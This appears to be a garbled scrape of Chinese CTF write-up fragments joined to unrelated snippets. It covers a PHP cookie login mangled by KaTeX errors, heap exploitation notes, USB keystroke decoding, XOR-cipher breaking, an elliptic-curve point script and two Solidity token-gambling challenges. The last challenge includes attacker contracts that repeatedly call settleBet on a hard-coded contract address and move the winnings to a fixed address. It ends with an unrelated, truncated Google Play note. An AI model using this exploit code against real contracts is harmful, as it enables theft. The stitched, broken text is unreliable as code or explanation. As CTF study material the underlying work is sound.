l
o
g
i
n
d
a
t
a
=
j
s
o
n
d
e
c
o
d
e
(
login_data = json_decode(
logindata=jsondecode(_COOKIE[‘login_data’], true);
$admin_user = $login_data[‘admin_user’];
$udata = KaTeX parse error: Expected 'EOF', got '&' at position 4: DB-&̲gt;get_row(admin_user’ limit 1"); if ($udata[‘username’] == ‘’) {
setcookie(“islogin”, “”, time() - 604800);
setcookie(“login_data”, “”, time() - 604800);
}
a
d
m
i
n
p
a
s
s
=
s
h
a
1
(
admin_pass = sha1(
adminpass=sha1(udata[‘password’] . LOGIN_KEY); if ($admin_pass == $login_data[‘admin_pass’]) { KaTeX parse error: Expected 'EOF', got '}' at position 47: …ber">1;
}̲
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return "Hello World from Flask in a uWSGI Nginx Docker container with \
Python 3.6 (default)"
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=True, port=80)
由于close了stdout和stderr，其实我们可以cat flag 1>&0。stdin也是可以用来输出的。
heapstorm zero
只有3解比较意外，我本意是作为中等题的。
这题来源于我对null off by one的思考，理论上来说，null off by one 打在fastbin上是不可能被利用的，因为size位直接变成了0。那如何让选手在只能分配fastbin的同时利用null off by one呢？
只能藏一个比较不明显的分配大堆块的行为了。这个行为由scanf来做到。虽然我setvbuf了，输入超长字符串的时候scanf还是会在堆上分配buffer来暂存我们的输入。最小分配size也是0x400，也就是一个large chunk了。这样我们就有了触发malloc consolidate的能力，将多个fastbin融合成一个unsorted bin，然后利用null off by one，就能在堆上搞事了。
nums = [] shift_press = [] keys = open(‘usbdata.txt’) for line in keys: shift_press.append(line[1]) nums.append(int(line[6:8],16)) keys.close()
output = “” m = 0 for n in nums: if n == 0 : m += 1 continue if n in shiftkeys: if shift_press[m] == ‘2’ : #shift is pressed output += shiftkeys[n] m += 1 elif shift_press[m] == ‘0’ : output += normalkeys[n] m += 1 print ‘output :\n’ + output
defscore(s): counts = {} for i in string.ascii_lowercase + ’ ': counts[i] = s.count(i)
score = 0.0for i in s:
i = i.lower()
if i in freqs:
score += freqs[i] * counts[i]
return score/len(s)
defbreak_single_xor(data): defkey(s): return score(s[1]) return max([(i, strxor_c(data, i)) for i in range(256)], key=key)
defget_hamming_distance(x, y): return sum([bin(ord(x[i]) ^ ord(y[i])).count(‘1’) for i in range(len(x))])
defget_edit_distance(data, k): blocks = [data[i:i+k] for i in range(0, len(data), k)][0:4] pairs = list(itertools.combinations(blocks, 2)) scores = [get_hamming_distance(p[0], p[1])/float(k) for p in pairs][0:6] return sum(scores) / len(scores)
defbreak_repeat_xor(data, length): blocks = [data[i:i+length] for i in range(0, len(data), length)] transposedBlocks = list(itertools.izip_longest(*blocks, fillvalue=0)) key = [break_single_xor(’’.join([str(n) for n in x]))[0] for x in transposedBlocks] return‘’.join([chr(x) for x in key])
import base64
import binascii
import struct
def long_to_bytes(n, blocksize=0):
s = b''
n = int(n)
pack = struct.pack
while n > 0:
s = pack('>I', n & 0xffffffffL) + s
n = n >> 32
# strip off leading zeros
for i in range(len(s)):
if s[i] != b'\x00'[0]:
break
else:
# only happens when n == 0
s = b'\x00'
i = 0
s = s[i:]
# add back some pad bytes. this could be done more efficiently w.r.t. the
# de-padding being done above, but sigh...
if blocksize > 0 and len(s) % blocksize:
s = (blocksize - len(s) % blocksize) * b'\x00' + s
return s
p256 = 115792089210356248762697446949407573530086143415290314195533631308867097853951
a256 = p256 - 3
FF = GF(p256)
res = []
while len(res) < 10:
b256 = randint(2, 2^16)
E = EllipticCurve([FF(a256), FF(b256)])
ss = str(E.order().factor()).split('*')
for i in ss:
if '^' not in i:
i = int(i.strip())
if 100 < i < 2000:
P = E.random_point() * Integer(E.order()/i)
# order = P.order()
print i, P
# print str(P).split(':')
bp = [base64.urlsafe_b64encode(long_to_bytes(int(P[0]))), base64.urlsafe_b64encode(long_to_bytes(int(P[1])))]
res.append((i, bp))
break
print res
0x71feca5f0ff0123a60ef2871ba6a6e5d289942ef for ropsten
D2GBToken is onsale. we will airdrop each person 10 D2GBTOKEN. You can transcat with others as you like.
only winner can get more than 10000000, but no one can do it.
function PayForFlag(string b64email) public payable returns (bool success){ require (_balances[msg.sender] > 10000000); emit GetFlag(b64email, “Get flag!”); }
hint1:you should recover eht source code first. and break all eht concepts you’ve already hold hint2: now open source for you, and its really ez
@dev Math operations with safety checks that revert on error */ library SafeMath {
/**
@dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring ‘a’ not being zero, but the // benefit is lost if ‘b’ is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; }
uint256 c = a * b; require(c / a == b);
return c; }
/**
@dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn’t hold
return c; }
/**
@dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b;
return c; }
/**
@dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a);
Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract ERC20 is IERC20 { using SafeMath for uint256;
mapping (address => uint256) public _balances;
mapping (address => mapping (address => uint256)) public _allowed;
mapping(address => bool) initialized;
uint256 public _totalSupply;
uint256 public constant _airdropAmount = 10;
/**
@dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; }
/**
@dev Gets the balance of the specified address.
@param owner The address to query the balance of.
@return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; }
@dev Function to check the amount of tokens that an owner allowed to a spender.
@param owner address The address which owns the funds.
@param spender address The address which will spend the funds.
@return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; }
/**
@dev Transfer token for a specified address
@param to The address to transfer to.
@param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { AirdropCheck(); _transfer(msg.sender, to, value); return true; }
/**
@dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
Beware that changing an allowance with this method brings the risk that someone may use both the old
and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
race condition is to first reduce the spender’s allowance to 0 and set the desired value afterwards:
@param spender The address which will spend the funds.
@param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0));
@param from address The address which you want to send tokens from
@param to address The address which you want to transfer to
@param value uint256 the amount of tokens to be transferred */ function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(value <= _allowed[from][msg.sender]); AirdropCheck();
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
@dev Transfer token for a specified addresses
@param from The address to transfer from.
@param to The address to transfer to.
@param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) { require(value <= _balances[from]); require(to != address(0));
Description
0x006b9bc418e43e92cf8d380c56b8d4be41fda319 for ropsten and open source
D2GBToken is onsale. Now New game is coming. We’ll give everyone 1000 D2GBTOKEN for playing. only God of Gamblers can get flag.
solved: 5
score: 735.09
我们来看看代码，这次附上带有注释版本的
pragma solidity ^0.4.24;
/**
@title SafeMath
@dev Math operations with safety checks that revert on error */ library SafeMath {
/**
@dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring ‘a’ not being zero, but the // benefit is lost if ‘b’ is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; }
uint256 c = a * b; require(c / a == b);
return c; }
/**
@dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn’t hold
return c; }
/**
@dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b;
return c; }
/**
@dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a);
Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract ERC20{ using SafeMath for uint256;
mapping (address => uint256) public balances;
uint256 public _totalSupply;
/**
@dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; }
/**
@dev Gets the balance of the specified address.
@param owner The address to query the balance of.
@return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return balances[owner]; }
function transfer(address _to, uint _value) public returns (bool success){ balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value);
return true;
} }
contract B2GBToken is ERC20 {
string public constant name = "test";
string public constant symbol = "test";
uint8 public constant decimals = 18;
uint256 public constant _airdropAmount = 1000;
uint256 public constant INITIAL_SUPPLY = 20000000000 * (10 ** uint256(decimals));
mapping(address => bool) initialized;
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
initialized[msg.sender] = true;
_totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
// airdrop
function AirdropCheck() internal returns (bool success){
if (!initialized[msg.sender]) {
initialized[msg.sender] = true;
balances[msg.sender] = _airdropAmount;
_totalSupply += _airdropAmount;
}
return true;
}
}
// 主要代码 contract Bet2Loss is B2GBToken{ /// *** Constants section
// Bets lower than this amount do not participate in jackpot rolls (and are
// not deducted JACKPOT_FEE).
uint constant MIN_JACKPOT_BET = 0.1 ether;
// There is minimum and maximum bets.
uint constant MIN_BET = 1;
uint constant MAX_BET = 100000;
// Modulo is a number of equiprobable outcomes in a game:
// - 2 for coin flip
// - 6 for dice
// - 6*6 = 36 for double dice
// - 100 for etheroll
// - 37 for roulette
// etc.
// It's called so because 256-bit entropy is treated like a huge integer and
// the remainder of its division by modulo is considered bet outcome.
uint constant MAX_MODULO = 100;
// EVM BLOCKHASH opcode can query no further than 256 blocks into the
// past. Given that settleBet uses block hash of placeBet as one of
// complementary entropy sources, we cannot process bets older than this
// threshold. On rare occasions dice2.win croupier may fail to invoke
// settleBet in this timespan due to technical issues or extreme Ethereum
// congestion; such bets can be refunded via invoking refundBet.
uint constant BET_EXPIRATION_BLOCKS = 250;
// Some deliberately invalid address to initialize the secret signer with.
// Forces maintainers to invoke setSecretSigner before processing any bets.
address constant DUMMY_ADDRESS = 0xACB7a6Dc0215cFE38e7e22e3F06121D2a1C42f6C;
// Standard contract ownership transfer.
address public owner;
address private nextOwner;
// Adjustable max bet profit. Used to cap bets against dynamic odds.
uint public maxProfit;
// The address corresponding to a private key used to sign placeBet commits.
address public secretSigner;
// Accumulated jackpot fund.
uint128 public jackpotSize;
// Funds that are locked in potentially winning bets. Prevents contract from
// committing to bets it cannot pay out.
uint128 public lockedInBets;
// A structure representing a single bet.
struct Bet {
// Wager amount in wei.
uint betnumber;
// Modulo of a game.
uint8 modulo;
// Block number of placeBet tx.
uint40 placeBlockNumber;
// Bit mask representing winning bet outcomes (see MAX_MASK_MODULO comment).
uint40 mask;
// Address of a gambler, used to pay out winning bets.
address gambler;
}
// Mapping from commits to all currently active & processed bets.
mapping (uint => Bet) bets;
// Events that are issued to make statistic recovery easier.
event FailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);
// This event is emitted in placeBet to record commit in the logs.
event Commit(uint commit);
event GetFlag(
string b64email,
string back
);
// Constructor. Deliberately does not take any parameters.
constructor () public {
owner = msg.sender;
secretSigner = DUMMY_ADDRESS;
}
// Standard modifier on methods invokable only by contract owner.
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
// See comment for "secretSigner" variable.
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
/// *** Betting logic
// Bet states:
// amount == 0 && gambler == 0 - 'clean' (can place a bet)
// amount != 0 && gambler != 0 - 'active' (can be settled or refunded)
// amount == 0 && gambler != 0 - 'processed' (can clean storage)
//
// NOTE: Storage cleaning is not implemented in this contract version; it will be added
// with the next upgrade to prevent polluting Ethereum state with expired bets.
// Bet placing transaction - issued by the player.
// betMask - bet outcomes bit mask for modulo <= MAX_MASK_MODULO,
// [0, betMask) for larger modulos.
// modulo - game modulo.
// commitLastBlock - number of the maximum block where "commit" is still considered valid.
// commit - Keccak256 hash of some secret "reveal" random number, to be supplied
// by the dice2.win croupier bot in the settleBet transaction. Supplying
// "commit" ensures that "reveal" cannot be changed behind the scenes
// after placeBet have been mined.
// r, s - components of ECDSA signature of (commitLastBlock, commit). v is
// guaranteed to always equal 27.
//
// Commit, being essentially random 256-bit number, is used as a unique bet identifier in
// the 'bets' mapping.
//
// Commits are signed with a block limit to ensure that they are used at most once - otherwise
// it would be possible for a miner to place a bet with a known commit/reveal pair and tamper
// with the blockhash. Croupier guarantees that commitLastBlock will always be not greater than
// placeBet block number plus BET_EXPIRATION_BLOCKS. See whitepaper for details.
function placeBet(uint betMask, uint modulo, uint betnumber, uint commitLastBlock, uint commit, bytes32 r, bytes32 s, uint8 v) external payable {
// betmask是赌的数
// modulo是总数/倍数
// commitlastblock 最后一个能生效的blocknumber
// 随机数签名hash， r, s
// airdrop
AirdropCheck();
// Check that the bet is in 'clean' state.
Bet storage bet = bets[commit];
require (bet.gambler == address(0), "Bet should be in a 'clean' state.");
// check balances > betmask
require (balances[msg.sender] >= betnumber, "no more balances");
// Validate input data ranges.
require (modulo > 1 && modulo <= MAX_MODULO, "Modulo should be within range.");
require (betMask >= 0 && betMask < modulo, "Mask should be within range.");
require (betnumber > 0 && betnumber < 1000, "BetNumber should be within range.");
// Check that commit is valid - it has not expired and its signature is valid.
require (block.number <= commitLastBlock, "Commit has expired.");
bytes32 signatureHash = keccak256(abi.encodePacked(commitLastBlock, commit));
require (secretSigner == ecrecover(signatureHash, v, r, s), "ECDSA signature is not valid.");
// Winning amount and jackpot increase.
uint possibleWinAmount;
possibleWinAmount = getDiceWinAmount(betnumber, modulo);
// Lock funds.
lockedInBets += uint128(possibleWinAmount);
// Check whether contract has enough funds to process this bet.
require (lockedInBets <= balances[owner], "Cannot afford to lose this bet.");
balances[msg.sender] = balances[msg.sender].sub(betnumber);
// Record commit in logs.
emit Commit(commit);
// Store bet parameters on blockchain.
bet.betnumber = betnumber;
bet.modulo = uint8(modulo);
bet.placeBlockNumber = uint40(block.number);
bet.mask = uint40(betMask);
bet.gambler = msg.sender;
}
// This is the method used to settle 99% of bets. To process a bet with a specific
// "commit", settleBet should supply a "reveal" number that would Keccak256-hash to
// "commit". it
// is additionally asserted to prevent changing the bet outcomes on Ethereum reorgs.
function settleBet(uint reveal) external {
AirdropCheck();
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
uint placeBlockNumber = bet.placeBlockNumber;
// Check that bet has not expired yet (see comment to BET_EXPIRATION_BLOCKS).
require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before.");
require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
// Settle bet using reveal as entropy sources.
settleBetCommon(bet, reveal);
}
// Common settlement code for settleBet & settleBetUncleMerkleProof.
function settleBetCommon(Bet storage bet, uint reveal) private {
// Fetch bet parameters into local variables (to save gas).
uint betnumber = bet.betnumber;
uint mask = bet.mask;
uint modulo = bet.modulo;
uint placeBlockNumber = bet.placeBlockNumber;
address gambler = bet.gambler;
// Check that bet is in 'active' state.
require (betnumber != 0, "Bet should be in an 'active' state");
// The RNG - combine "reveal" and blockhash of placeBet using Keccak256. Miners
// are not aware of "reveal" and cannot deduce it from "commit" (as Keccak256
// preimage is intractable), and house is unable to alter the "reveal" after
// placeBet have been mined (as Keccak256 collision finding is also intractable).
bytes32 entropy = keccak256(abi.encodePacked(reveal, placeBlockNumber));
// Do a roll by taking a modulo of entropy. Compute winning amount.
uint dice = uint(entropy) % modulo;
uint diceWinAmount;
diceWinAmount = getDiceWinAmount(betnumber, modulo);
uint diceWin = 0;
if (dice == mask){
diceWin = diceWinAmount;
}
// Unlock the bet amount, regardless of the outcome.
lockedInBets -= uint128(diceWinAmount);
// Send the funds to gambler.
sendFunds(gambler, diceWin == 0 ? 1 wei : diceWin , diceWin);
}
// Get the expected win amount after house edge is subtracted.
function getDiceWinAmount(uint amount, uint modulo) private pure returns (uint winAmount) {
winAmount = amount * modulo;
}
// 付奖金
function sendFunds(address beneficiary, uint amount, uint successLogAmount) private {
transfer(beneficiary, amount);
emit Payment(beneficiary, successLogAmount);
}
//flag
function PayForFlag(string b64email) public payable returns (bool success){
require (balances[msg.sender] > 10000000);
emit GetFlag(b64email, "Get flag!");
}
function Attack_7878678() payable {}
function attack_starta(uint256 reveal_num) public {
for(int i=0;i<=50;i++){
son = new Son(reveal_num);
}
}
function () payable {
}
}
contract Son_7878678 {
function Son_7878678(uint256 reveal_num) payable {
address game = 0x006b9bc418e43e92cf8d380c56b8d4be41fda319;
game.call(bytes4(keccak256("settleBet(uint256)")),reveal_num);
game.call(bytes4(keccak256("transfer(address,uint256)")),0x5FA2c80DB001f970cFDd388143b887091Bf85e77,950);
}
function () payable{
}
Create the Google Play Account
Having a Google account, pay 25$, then you get your google developer account.
References:
http://developer.android.com/distribute/googleplay/start.html
https://p
